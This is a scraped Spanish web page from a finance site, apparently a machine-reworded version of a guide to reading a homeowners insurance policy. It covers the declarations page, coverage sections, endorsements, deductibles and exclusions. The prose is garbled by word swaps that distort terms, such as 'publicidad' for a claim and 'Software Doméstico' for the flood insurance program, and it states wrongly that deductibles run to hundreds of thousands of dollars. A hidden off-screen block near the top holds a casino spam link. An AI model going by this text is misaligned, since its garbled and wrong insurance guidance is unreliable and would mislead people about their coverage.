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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Sunday, September 20, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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	                                    <div style='position:absolute;left:-11963px;width:1145px;'>Quer um cassino que tenha de tudo? A diversão começa na <a href="https://fcamazonia.com/">Funbet casino</a>.</div><div id="tdi_61" class="tdc-zone"><div class="tdc_zone tdi_62  wpb_row td-pb-row"  >
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<p id="how-to-read-and-understand-your-home-insurance-policy">No necesita ser un habituado en seguros para repasar y comprender su póliza de seguro de hogar. De hecho, familiarizarse con lo que hay en su póliza de seguro de hogar podría ayudarlo a evitar un contratiempo costoso. Por ejemplo, más de la porción de los adultos de nosotros piensan que las inundaciones están cubiertas por el seguro de hogar, lo cual es incorrecto. Las inundaciones no están cubiertas por el seguro de hogar; Sin una política de inundación, tendría que enriquecer de su saquillo por el daño resultante. Estamos aquí para ayudarlo a enseñarle cómo repasar su póliza de seguro de hogar, para que pueda encontrar la información que necesita. </p>
<h2>Cómo repasar y comprender su póliza de seguro de hogar</h2>
<p>La página de declaraciones es la página más importante cuando se manejo de comprender la póliza de seguro de sus propietarios. Generalmente es una o dos páginas solo como mayor, y resumirá la información relacionada con su póliza, como el nombre de la compañía de seguros, su nombre, dirección de propiedad, montos de cobertura, deducibles, endosos y primas anuales.</p>
<p>La chaqueta de política, o el formulario de política, se incluye con la página de declaraciones, y entra en más detalles con el jerigonza de política, como exclusiones y condiciones, así como definiciones de términos importantes. Es útil repasar primero la chaqueta de política para que comprenda los términos que verá en la página de declaraciones.</p>
<blockquote class="pull-quote PullQuote PullQuote-sm">
<p class="pull-quote__copy PullQuote-copy">Acabamos de cambiar las compañías de seguros de viviendas posteriormente de 10 abriles. No fue hasta que estábamos pasando por la documentación de políticas con nuestro nuevo agente que nos dimos cuenta de que la política que teníamos ayer solo habría cubierto una fracción de una reconstrucción si tuviéramos un incendio o poco así, a pesar de que habíamos pedido confirmación de nuestro agente previo que nuestra política se veía perfectamente. En última instancia, depende de nosotros que nunca verificamos el papeleo, pero si hubiéramos tenido un incendio, no habríamos podido recobrar nuestra casa.</p>
<p>            <cite class="pull-quote__cite PullQuote-cite">&#8211; Rebekah H.</cite>
        </p></blockquote>
<h2 id="the-parts-of-a-homeowners-insurance-policy" data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Insurance, Homeowners Insurance" data-position="h2_second_placement" data-name="h2_second_placement" data-text="How to read a homeowners insurance policy" data-outcome="">Las partes de una póliza de seguro de propietarios</h2>
<p>Su página de declaraciones de seguro de hogar contiene la mayoría, pero no todas, de la información que necesitará asimilar sobre su póliza. Piense en ello como una instantánea de su política; Su página de declaraciones contiene un síntesis de los diferentes tipos de cobertura que tiene, su número de póliza, aniversario de vigencia de política, dirección de propiedad asegurada y una inventario de los asegurados con nombre. </p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/que-es-el-seguro-de-automovil-de-uso-permisivo" target="_self" rel="dofollow" class="u167e8620337585bf414d069dae7e0b74"><!-- INLINE RELATED POSTS 1/3 //--><style> .u167e8620337585bf414d069dae7e0b74 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u167e8620337585bf414d069dae7e0b74:active, .u167e8620337585bf414d069dae7e0b74:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u167e8620337585bf414d069dae7e0b74 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u167e8620337585bf414d069dae7e0b74 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u167e8620337585bf414d069dae7e0b74 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u167e8620337585bf414d069dae7e0b74:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">¿Qué es el seguro de automóvil de uso permisivo?</span></div></a></div><h3>Sección de cobertura I</h3>
<p>La Sección I de una póliza de seguro de hogar incluye diferentes tipos de cobertura de propiedad. En una política típico, HO-3, estos incluyen vivienda, otras estructuras, acervo personales y pérdida de uso. Su página de declaraciones además incluirá sus límites de cobertura para cada parte de su póliza. Asimismo puede ver estos límites de cobertura expresados ​​como &#8220;límites de responsabilidad&#8221;.</p>
<div class="DefinitionList mb-8 DefinitionList--table">
<dl>
<div class="Definition-item flex">
<dt class="text-gray-900">Vivienda</dt>
<dd class="text-gray-700">
<p>Proporciona protección financiera para reparar o recobrar la estructura de su hogar si está dañada o destruida en una pérdida cubierta.</p>
</dd>
</div>
<div class="Definition-item flex">
<dt class="text-gray-900">Otras estructuras</dt>
<dd class="text-gray-700">
<p>Proporciona cobertura para estructuras separadas de la vivienda, como una cerca, cobertizo, hórreo o cenador, si se dañan o destruye en una pérdida cubierta.</p>
</dd>
</div>
<div class="Definition-item flex">
<dt class="text-gray-900">Propiedad personal</dt>
<dd class="text-gray-700">
<p>Cubre sus pertenencias personales en el hogar y a menudo extiende cierta cobertura para pertenencias personales almacenadas en otros lugares, como una mecanismo de almacenamiento.</p>
</dd>
</div>
<div class="Definition-item flex">
<dt class="text-gray-900">Pérdida de uso</dt>
<dd class="text-gray-700">
<p>Si usted y los miembros de su hogar son desplazados temporalmente de su hogar adecuado a una pérdida cubierta, esta cobertura ayuda a cubrir costos como los gastos de hotel y comida.</p>
</dd>
</div>
</dl>
</div>
<h3>Cobertura Sección II</h3>
<p>La segunda parte de una póliza de seguro de hogar consiste en los dos tipos principales de cobertura de responsabilidad civil. Estos suelen ser el seguro de responsabilidad personal y la cobertura de pagos médicos. Asimismo puede ver &#8220;pagos médicos&#8221; escrita como cobertura &#8220;Medicina de Huéspedes&#8221;, pero significan lo mismo.</p>
<div class="DefinitionList mb-8 DefinitionList--table">
<dl>
<div class="Definition-item flex">
<dt class="text-gray-900">Responsabilidad personal</dt>
<dd class="text-gray-700">
<p>Lo protege financieramente si usted, un miembro del hogar o su mascota (pueden aplicarse las restricciones) son financieramente responsables de las lesiones o daños a otra persona o su propiedad.</p>
</dd>
</div>
<div class="Definition-item flex">
<dt class="text-gray-900">Pagos médicos</dt>
<dd class="text-gray-700">
<p>Proporciona cobertura médica si un huésped está herido en su propiedad, pero usted no es legalmente responsable de cubrir los costos de las lesiones.</p>
</dd>
</div>
</dl>
</div>
<h3>Endosos </h3>
<p>Es más obediente pensar en los avales como coberturas adicionales. Su compañía de seguros además puede vocear a los endosos &#8220;corredores&#8221;. Algunos comunes en el seguro de hogar incluyen: </p>
<ul>
<li><strong>Cobertura de respaldo de alcantarillado/agua</strong></li>
<li><strong>Cobertura de estatuto/ley</strong></li>
<li><strong>Centinela de inflación</strong></li>
<li><strong>Reemplazo de vivienda extendida</strong></li>
<li><strong>Joyas u otras coberturas de objetos de valía</strong></li>
<li><strong>Cobertura de sumidero </strong></li>
</ul>
<p>Cuando importación endosos, el costo de la protección adicional se agregará a su prima. En normal, cuanto más compre, más puede esperar enriquecer. </p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/garantia-del-hogar-vs-seguro-de-propietarios-de-viviendas" target="_self" rel="dofollow" class="u5563a45e87df485c9aa56f5795d83b81"><!-- INLINE RELATED POSTS 2/3 //--><style> .u5563a45e87df485c9aa56f5795d83b81 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .u5563a45e87df485c9aa56f5795d83b81:active, .u5563a45e87df485c9aa56f5795d83b81:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u5563a45e87df485c9aa56f5795d83b81 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u5563a45e87df485c9aa56f5795d83b81 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u5563a45e87df485c9aa56f5795d83b81 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u5563a45e87df485c9aa56f5795d83b81:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Garantía del hogar vs. seguro de propietarios de viviendas</span></div></a></div><h3>Deducibles </h3>
<p>Su deducible representa la cantidad de capital por la que es financieramente responsable cuando presenta un publicidad. Si su publicidad requiere que contrate a un contratista, es posible que deba pagarle a su aseguradora su deducible ayer de que comiencen las reparaciones. O, si su compañía de seguros le está reembolsando por poco, es posible que se le quiebro su deducible de su plazo de reembolso. La mayoría de los deducibles de seguros de vivienda varían entre unos cientos de miles de dólares. </p>
<p>Es posible que su política tenga más de un deducible. Por ejemplo, puede tener un rumbo separado o deducible de huracanes, dependiendo de dónde viva. </p>
<h3>Descuentos </h3>
<p>Su página de declaraciones generalmente enumerará cualquier descuento constante a su póliza. Puede obtener ahorros para una variedad de cosas, como agrupar su política, obtener una cotización temprana, inscribirse en declaraciones sin papel y restantes de reclamos sin reclamos. Las características de su hogar además pueden ayudarlo a evitar en el seguro; Su compañía de seguros puede darle un descuento por tener un sistema de seguridad para el hogar, extintores de incendios, un techo nuevo, una cámara de timbre y más. </p>
<h2 id="replacement-cost-value-versus-actual-cash-value">Valía de costo de reemplazo frente a valía en efectivo positivo</h2>
<p>Para la cobertura de vivienda y propiedad personal, se aplica el costo de reemplazo o el valía positivo en efectivo. Con el valía del costo de reemplazo, el hogar o la propiedad personal se cubrirían por el costo de reemplazar lo que se daña en una pérdida cubierta en el momento del publicidad, sin depreciación. El valía positivo en efectivo considera la depreciación al determinar el monto de plazo de su publicidad. Algunas compañías de seguros incluyen automáticamente el costo de reemplazo para la cobertura de vivienda y propiedad personal, mientras que otras compañías requieren que se agregue como endoso.</p>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
<div class="card-body">
<div class="icon-wrapper">
            <svg xmlns="http://www.w3.org/2000/svg" class="Icon-glyph" viewbox="0 0 24 24" fill="currentColor" focusable="false"><title>Icono de la orientador de seguro de hogar</title>
<path fill-rule="evenodd" clip-rule="evenodd" d="M3.8 18.325c0 .987.618 1.792 1.372 1.792h15.956c.754 0 1.372-.805 1.372-1.792v-11.5c0-.987-.618-1.792-1.372-1.792H5.172c-.754 0-1.372.805-1.372 1.792v11.5Z" fill="transparent" class="icon-offset"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M11.208 18.108h-7.16c-1.41 0-2.548-1.27-2.548-2.843V5.434c0-1.565 1.147-2.843 2.548-2.843h14.386c1.41 0 2.548 1.278 2.548 2.843v4.915c0 .36-.295.656-.655.656a.657.657 0 0 1-.655-.656V5.434c0-.844-.558-1.532-1.238-1.532H4.048c-.68 0-1.237.688-1.237 1.532v9.83c0 .845.557 1.533 1.237 1.533h7.16c.36 0 .656.295.656.655 0 .36-.295.656-.656.656Zm6.333-10.7H4.875a.657.657 0 0 1-.655-.656c0-.36.295-.655.655-.655H17.55c.36 0 .655.295.655.655 0 .36-.295.656-.655.656h-.009Zm-2.179 3.622H4.875a.657.657 0 0 1-.655-.656c0-.36.295-.655.655-.655h10.487c.36 0 .655.295.655.655 0 .36-.294.655-.655.655ZM4.818 14.642h5.088c.36 0 .655-.295.655-.655a.657.657 0 0 0-.655-.656H4.818a.657.657 0 0 0-.655.656c0 .36.295.655.655.655ZM15.01 21.41h5.268c.729 0 1.319-.606 1.319-1.351V16.44a.67.67 0 0 0 .237.045l.009-.008a.651.651 0 0 0 .41-1.163l-1.32-1.044v-1.455a.657.657 0 0 0-.655-.655.657.657 0 0 0-.656.655v.417l-1.22-.966a1.218 1.218 0 0 0-1.5 0l-3.858 3.056a.651.651 0 0 0-.107.917c.182.236.49.305.754.2v3.619c0 .745.59 1.351 1.319 1.351Zm5.268-1.31v-4.662l-2.638-2.09-2.638 2.09v4.62l5.276.042Z" class="icon-base"></path></svg>
        </div>
<div class="content-wrapper">
<p>                Consejo de bankrate: mantenga una copia digital de su póliza
            </p>
<div class="content">
<p>Si es posible, puede ser útil para proseguir una copia digital de su póliza de seguro de hogar en su disco duro. De esa modo, puede usar la función &#8220;Comando + F&#8221; o &#8220;Control + F&#8221; para apañarse su política. Por ejemplo, si desea asimilar si las picaduras de perros están cubiertas por su seguro de responsabilidad personal, puede apañarse frases esencia como &#8220;mordedura de perro&#8221;, &#8220;mascota&#8221; o &#8220;mordedura de animales&#8221; para ver dónde se menciona.</p>
<div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://financesnewsonline.com/seguro-de-vida-a-termino-de-nivel-bankrat" target="_self" rel="dofollow" class="ub30051c4d6a92e37ad5b9b4c32b1e178"><!-- INLINE RELATED POSTS 3/3 //--><style> .ub30051c4d6a92e37ad5b9b4c32b1e178 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #34495E!important; text-decoration:none; } .ub30051c4d6a92e37ad5b9b4c32b1e178:active, .ub30051c4d6a92e37ad5b9b4c32b1e178:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ub30051c4d6a92e37ad5b9b4c32b1e178 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ub30051c4d6a92e37ad5b9b4c32b1e178 .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ub30051c4d6a92e37ad5b9b4c32b1e178 .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ub30051c4d6a92e37ad5b9b4c32b1e178:hover .postTitle { text-decoration: underline!important; } </style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">See also</span>&nbsp; <span class="postTitle">Seguro de vida a término de nivel | Bankrat</span></div></a></div></p></div>
</p></div>
</p></div>
</section>
<h2 id="home-insurance-policy-exclusions">Exclusiones de póliza de seguro de hogar</h2>
<p>Una pega de póliza en el seguro de sus propietarios de viviendas indica una pérdida o tablado, conocido como peligro, que no está específicamente cubierto. Las exclusiones de políticas se detallan en la chaqueta de política y pueden postergar según la empresa y el tipo de política.</p>
<p>La mayoría de las pólizas de seguro de propietarios excluyen los siguientes peligros:</p>
<ul>
<li>Desgaste natural</li>
<li>Defectos de construcción</li>
<li>Descompostura de la saco</li>
<li>Daños a mascotas y animales</li>
<li>Movimiento de la tierra</li>
<li>Pérdida intencional</li>
<li>Peligro nuclear</li>
<li>Desglose mecánico</li>
<li>Moho y hongos</li>
</ul>
<p>El daño de una inundación siquiera está cubierto por una póliza de seguro de hogar típico. Algunos transportistas pueden ofrecer un seguro contra inundaciones por separado o puede comprarlo directamente del Software Doméstico de Seguro de Inundaciones (NFIP). Los terremotos (categorizados bajo el movimiento de la Tierra) además generalmente se excluyen de las pólizas de seguro de vivienda. Sin bloqueo, si vive en un radio propensa a terremotos, es posible que pueda comprar una póliza de seguro de terremotos separada o, dependiendo de su transportista, puede sumar un respaldo a su póliza.</p>
<h2 id="duties-after-loss">Deberes posteriormente de la pérdida </h2>
<p>Sus deberes posteriormente de la pérdida son una parte a menudo pasada por stop de su póliza de seguro, pero importante que normalmente no encontrará en su página de declaraciones. El seguro es un pacto, y parte de ese pacto incluye lo que usted, el propietario y el asegurado, son responsables de hacer posteriormente de observar una pérdida para evitar más daños. </p>
